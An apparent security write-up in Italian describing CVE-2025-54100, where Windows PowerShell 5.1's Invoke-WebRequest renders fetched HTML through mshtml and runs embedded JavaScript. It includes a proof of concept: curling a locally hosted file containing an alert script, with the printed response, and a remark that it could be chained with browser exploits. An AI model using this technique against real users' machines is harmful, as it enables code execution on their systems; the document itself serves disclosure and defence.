
Proof-of-concept per CVE-2025-54100: XSS in Invoke-WebRequest di PowerShell tramite mshtml.HTMLDocumentClass, che consente l'esecuzione di codice remoto quando si scarica JavaScript dannoso.
Il curl di PowerShell utilizza Invoke-WebRequest internamente.
PS C:\Users\melih> curl
cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:
Osservando la documentazione del parametro UseBasicParsing,
Questo parametro è stato deprecato. A partire da PowerShell 6.0.0, tutte le richieste Web utilizzano solo il parsing di base. Questo parametro è incluso solo per compatibilità con le versioni precedenti e qualsiasi suo utilizzo non ha alcun effetto sul funzionamento del cmdlet.
Il problema risiede in UseBasicParsing del cmdlet Invoke-WebRequest di PowerShell. UseBasicParsing utilizza il parsing di base, non valuta alcun codice JavaScript. Si limita a leggere il testo e a farne il parsing.
Se questo parametro non viene fornito, Invoke-WebRequest avvia Internet Explorer internamente e tenta di analizzare il codice HTML valutandolo effettivamente, usando mshtml.HTMLDocumentClass. Effettuare una richiesta curl a un sito web che ospita codice JavaScript comporta l'esecuzione di codice nel browser del client, che nel nostro caso è il terminale di Windows.
La documentazione di mshtml.HTMLDocumentClass è disponibile qui sotto.
https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument
Osservando il ciclo di vita dal primo documento qui sopra, possiamo vedere che,
Windows PowerShell 5.1 Aug-2016 Rilasciato con Windows 10 Anniversary Update e Windows Server 2016, WMF 5.1 PowerShell 6.0 20-Jan-2018 13-Feb-2019 Basato su .NET Core 2.0 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)
Dopo alcune indagini abbiamo notato che le ultime versioni di Windows 11, Server 22 e 25 vengono fornite con una vecchia versione di PowerShell (la 5.1, che è quella predefinita) vulnerabile ad attacchi XSS.
Installazione pulita di Windows Server 22,

L'attacco è molto semplice:
curl su di esso e vedrai l'esecuzione
PS C:\Users\melih> curl 172.27.223.167:8000/a.js
StatusCode : 200
StatusDescription : OK
Content : <script>alert(1)</script>
RawContent : HTTP/1.0 200 OK
Content-Length: 26
Content-Type: text/javascript
Date: Tue, 09 Dec 2025 15:50:40 GMT
Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
Server: SimpleHTTP/0.6 Python/3.12.3
<script>a...
Forms : {}
Headers : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 26
Puoi essere creativo ed eseguire operazioni come open("about:blank").

Bisogna anche considerare che questo potrebbe essere utilizzato in catene più grandi, come exploit del browser, per ottenere un'esecuzione affidabile o forzare il rendering del browser.
Severity: Important, Security Impact: Remote Code Execution ed è stato assegnato un bounty di $5,000.